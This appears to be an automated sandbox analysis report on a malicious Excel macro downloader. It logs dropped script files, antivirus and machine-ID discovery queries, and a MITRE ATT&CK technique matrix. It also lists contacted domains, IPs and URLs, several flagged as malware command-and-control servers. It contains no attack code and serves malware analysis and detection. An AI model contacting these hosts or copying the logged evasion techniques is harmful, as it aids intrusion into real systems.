Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\TMP.TMP VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\winstart.wsf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\~cmdscript.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\~cmdscript.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\~cmdscript.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\~cmdscript.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\~cmdscript.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\TMP.TMP VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\winstart.wsf VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\TMP.TMP VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\winstart.wsf VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\TMP.TMP VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\winstart.wsf VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\~cmdscript.tmp VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\~cmdscript.tmp VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\~cmdscript.tmp VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\~cmdscript.tmp VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Windows\Temp\~cmdscript.tmp VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\TMP.TMP VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\winstart.wsf VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\TMP.TMP VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\autoexec.wsf VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\autoexec.wsf VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\TMP.TMP VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\winstart.wsf VolumeInformation

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: wscript.exe, 00000005.00000002.2585673494.000000000067A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\SysWOW64\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	73 Scripting	Valid Accounts	221 Windows Management Instrumentation	73 Scripting	111 Process Injection	112 Masquerading	OS Credential Dumping	241 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	23 Exploitation for Client Execution	121 Registry Run Keys / Startup Folder	121 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	111 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6fW0GedR6j.xls	50%	ReversingLabs	Win32.Trojan.Valyria
6fW0GedR6j.xls	60%	Virustotal		Browse
6fW0GedR6j.xls	100%	Avira	HEUR/Macro.Downloader.TPA.Gen
6fW0GedR6j.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://a1.airobotheworld.tk/ctrl/url.htmlF	0%	Avira URL Cloud	safe
http://a1.aigoingtokill.club/ctrl/playback.php	100%	Avira URL Cloud	malware
http://a1.airobotheworld.com/ctrl/playback.phphBcOrBDmIoMylxZ==	0%	Avira URL Cloud	safe
https://1.1.1.1/	0%	Avira URL Cloud	safe
http://a1.aigoingtokill.club/ctrl/playback.php8	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/ctrl/playback.phped.	100%	Avira URL Cloud	malware
http://a1.6cs6.club/ctrl/url.html	100%	Avira URL Cloud	malware
https://1.1.1.1/H	0%	Avira URL Cloud	safe
http://a1.airobotheworld.com/ctrl/playback.php-	0%	Avira URL Cloud	safe
http://a1.airobotheworld.com/92FD9E653A231FA226A4F8402BC	0%	Avira URL Cloud	safe
http://rocknroll.aigoingtokill2.club/ctrl/url.html	100%	Avira URL Cloud	malware
https://1.1.1.1/ctrl/playback.php	0%	Avira URL Cloud	safe
http://a1.aigoingtokill.club/ctrl/playback.phpG	100%	Avira URL Cloud	malware
http://a1.airobotheworld.com/ctrl/url.htmlOY	0%	Avira URL Cloud	safe
http://a1.airobotheworld.com/	0%	Avira URL Cloud	safe
http://1.1.1.1/ctrl/playback.php	0%	Avira URL Cloud	safe
http://a1.aigoingtokill.club/ctrl/playback.phphBcOrBDmIoMylxZ==e.	100%	Avira URL Cloud	malware
http://a1.6cs6.club/ctrl/playback.phpOrBDmIoMylxZ==KjIYYhGfEdCbYYA012YY345YY67YY8YY9	100%	Avira URL Cloud	malware
http://a2.6cs6.club/ctrl/url.htmls	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/ctrl/playback.phpeU	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/4	100%	Avira URL Cloud	malware
http://a1.airobotheworld.com/ctrl/url.html	100%	Avira URL Cloud	malware
http://www.w3.orp	0%	Avira URL Cloud	safe
http://a1.airobotheworld.com/ctrl/playback.php	0%	Avira URL Cloud	safe
http://a1.aigoingtokill.club/$	100%	Avira URL Cloud	malware
http://a2.6cs6.club/ctrl/url.html	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/o	100%	Avira URL Cloud	malware
https://account.live.co	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/ctrl/playback.phpp	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/45	100%	Avira URL Cloud	malware
http://aigoingtokill.aigoingtokill.club/ctrl/url.html	100%	Avira URL Cloud	malware
http://a1.aigoingtokill.club/ctrl/playback.php/W	100%	Avira URL Cloud	malware
https://login.li.c	0%	Avira URL Cloud	safe
http://a1.airobotheworld.tk/ctrl/url.html	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a1.aigoingtokill.club	181.214.58.112	true	true	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.etherscan.io	23.111.175.138	true	false	high
aigoingtokill.aigoingtokill.club	181.214.58.112	true	true	unknown
a1.airobotheworld.com	181.214.58.112	true	true	unknown
a1.airobotheworld.tk	unknown	unknown	true	unknown
rocknroll.aigoingtokill2.club	unknown	unknown	true	unknown
a1.6cs6.club	unknown	unknown	false	high
1.1.1.1.in-addr.arpa	unknown	unknown	false	high
a2.6cs6.club	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://a1.aigoingtokill.club/ctrl/playback.php	true	Avira URL Cloud: malware	unknown
http://1.1.1.1/ctrl/playback.php	true	Avira URL Cloud: safe	unknown
http://a1.airobotheworld.com/ctrl/url.html	true	Avira URL Cloud: malware	unknown
http://api.etherscan.io/api?module=account&action=txlist&address=0x05124f85d88c86880fda0dde8ced46acbe01c926	false		high
http://a1.airobotheworld.com/ctrl/playback.php	true	Avira URL Cloud: safe	unknown
http://aigoingtokill.aigoingtokill.club/ctrl/url.html	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://a1.aigoingtokill.club/ctrl/playback.php8	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://a1.aigoingtokill.club/ctrl/playback.phped.	wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://1.1.1.1/H	wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a1.airobotheworld.com/92FD9E653A231FA226A4F8402BC	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a1.airobotheworld.com/ctrl/playback.phphBcOrBDmIoMylxZ==	wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000003.00000003.1315616556.00000163ED1A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Changid	svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.airobotheworld.tk/ctrl/url.htmlF	wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a1.airobotheworld.com/ctrl/playback.php-	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/ResolveUser.srf	svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.6cs6.club/ctrl/url.html	wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://1.1.1.1/	wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://a1.airobotheworld.com/	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000003.00000003.1315616556.00000163ED209000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdh	svchost.exe, 00000007.00000003.1404449197.000001FE0515B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledX	svchost.exe, 00000007.00000002.2591542733.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1672079300.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.	svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.aigoingtokill.club/ctrl/playback.phpG	wscript.exe, 00000005.00000002.2593429283.0000000005CBF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf	svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
https://1.1.1.1/ctrl/playback.php	wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.2593429283.0000000005CAB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.airobotheworld.com/ctrl/url.htmlOY	wscript.exe, 00000005.00000002.2585673494.0000000000608000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tb_	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2593710248.000001FE058BA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rocknroll.aigoingtokill2.club/ctrl/url.html	wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://a1.aigoingtokill.club/ctrl/playback.phphBcOrBDmIoMylxZ==e.	wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://a1.6cs6.club/ctrl/playback.phpOrBDmIoMylxZ==KjIYYhGfEdCbYYA012YY345YY67YY8YY9	wscript.exe, 00000005.00000002.2590413884.0000000004F8B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ	svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000007.00000003.1365751820.000001FE05152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366016309.000001FE05157000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365638696.000001FE05129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000003.00000002.2594789943.00000163ED400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1389700268.000001FE048EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589459618.000001FE048E5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://passport.net/tb	svchost.exe, 00000007.00000002.2593168648.000001FE05881000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue	svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds	svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2589459618.000001FE048E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563034877.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuessue	svchost.exe, 00000007.00000003.1672026114.000001FE0516E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2591657209.000001FE0516F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a2.6cs6.club/ctrl/url.htmls	wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://a1.aigoingtokill.club/ctrl/playback.phpeU	wscript.exe, 00000005.00000002.2591779119.0000000005143000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID	svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 00000007.00000003.1365717275.000001FE05110000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://a1.aigoingtokill.club/4	wscript.exe, 00000005.00000002.2589936237.0000000004EC7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen	svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 00000007.00000002.2591416513.000001FE0515F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 00000007.00000002.2594431996.000001FE05902000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366087392.000001FE05163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600e	svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 00000007.00000002.2593524856.000001FE058B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID	svchost.exe, 00000007.00000002.2594220331.000001FE058D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-	svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3.	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%	svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels01	svchost.exe, 00000007.00000003.1514960402.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3.orp	svchost.exe, 00000007.00000002.2588086112.000001FE0485F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tb_ical	svchost.exe, 00000007.00000002.2593710248.000001FE058BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.co	svchost.exe, 00000007.00000002.2589695225.000001FE04902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://Passport.NET/tb	svchost.exe, 00000007.00000003.1482434158.000001FE05840000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 00000007.00000003.1672079300.000001FE0516B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1618835824.000001FE05133000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 00000007.00000003.1563080858.000001FE0516C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://signup.live.com/signup.aspx	svchost.exe, 00000007.00000003.1365638696.000001FE0512C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587591168.000001FE04836000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365751820.000001FE05155000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365986681.000001FE0513B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366057227.000001FE05140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1365965589.000001FE0514D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2587915288.000001FE04840000.00000004.00000020.00020000.00000000.sdmp	false		high
